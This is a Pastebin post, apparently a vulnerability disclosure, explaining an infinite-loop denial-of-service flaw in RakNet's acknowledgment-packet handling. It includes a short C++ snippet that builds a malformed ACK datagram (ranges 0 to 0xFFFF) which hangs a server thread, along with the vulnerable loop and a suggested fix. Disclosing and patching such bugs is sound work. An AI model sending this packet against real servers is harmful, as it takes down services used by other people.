Advertisement
Guest User

Untitled

a guest
Jan 6th, 2014
237
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 1.92 KB | None | 0 0
  1. /*
  2. by bartekdvd
  3. */
  4. /*
  5. I don't know if it affects the newest version of raknet, but the loop condition is pretty much the same in all versions.
  6. */
  7. /*
  8. The problem lays in raknet acknowledgment packet system.
  9. Creating RakNet datagram for ack packet in the way like this one bleow traps one of the server threads (raknet thread) into an endless loop.
  10. */
  11.  
  12. bitStream->Write(true); //is acknowledgment packet
  13. unsigned short count = 2;
  14. bitStream->WriteCompressed(count); //how many
  15. for (int i = 0; i < count; i++)
  16. {
  17.     bitStream->Write(false); //is min==max
  18.     bitStream->Write((unsigned short)0); //min index
  19.     bitStream->Write((unsigned short)0xFFFF); //max index
  20. }
  21.  
  22. /*
  23. This is the place where server thread is trapped
  24. */
  25.  
  26. ReliabilityLayer::HandleSocketReceiveFromConnectedPlayer
  27. //...
  28. DataStructures::RangeList<MessageNumberType> incomingAcks;
  29. socketData.Read(hasAcks);
  30. if (hasAcks)
  31. {
  32.     MessageNumberType messageNumber;
  33.     if (incomingAcks.Deserialize(&socketData)==false)
  34.         return false;
  35.  
  36.     for (i=0; i<incomingAcks.ranges.Size();i++)
  37.     {
  38.         if (incomingAcks.ranges[i].minIndex>incomingAcks.ranges[i].maxIndex)
  39.         {
  40.             RakAssert(incomingAcks.ranges[i].minIndex<=incomingAcks.ranges[i].maxIndex);
  41.             return false;
  42.         }
  43.  
  44.         for (messageNumber=incomingAcks.ranges[i].minIndex; messageNumber >= incomingAcks.ranges[i].minIndex && messageNumber <= incomingAcks.ranges[i].maxIndex; messageNumber++)
  45.         {  
  46. //      ...
  47. //      !!!HERE!!!
  48. //      ...
  49.         }
  50.  
  51. /*
  52. You can now see that the condition:
  53. */
  54. messageNumber >= incomingAcks.ranges[i].minIndex && messageNumber <= incomingAcks.ranges[i].maxIndex
  55. /*
  56. in this case is incorrect for because the type of messageNumber is unsigned short, so for following values minIndex = 0 and maxIndex = 0xFFFF
  57. the condition is always true.
  58. */
  59. /*
  60. Solution
  61. */
  62. /*
  63. The easiest solution is to change the type of messageNumber to unsigned integer or to whatever that can store more data than unsigned short.
  64. */
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement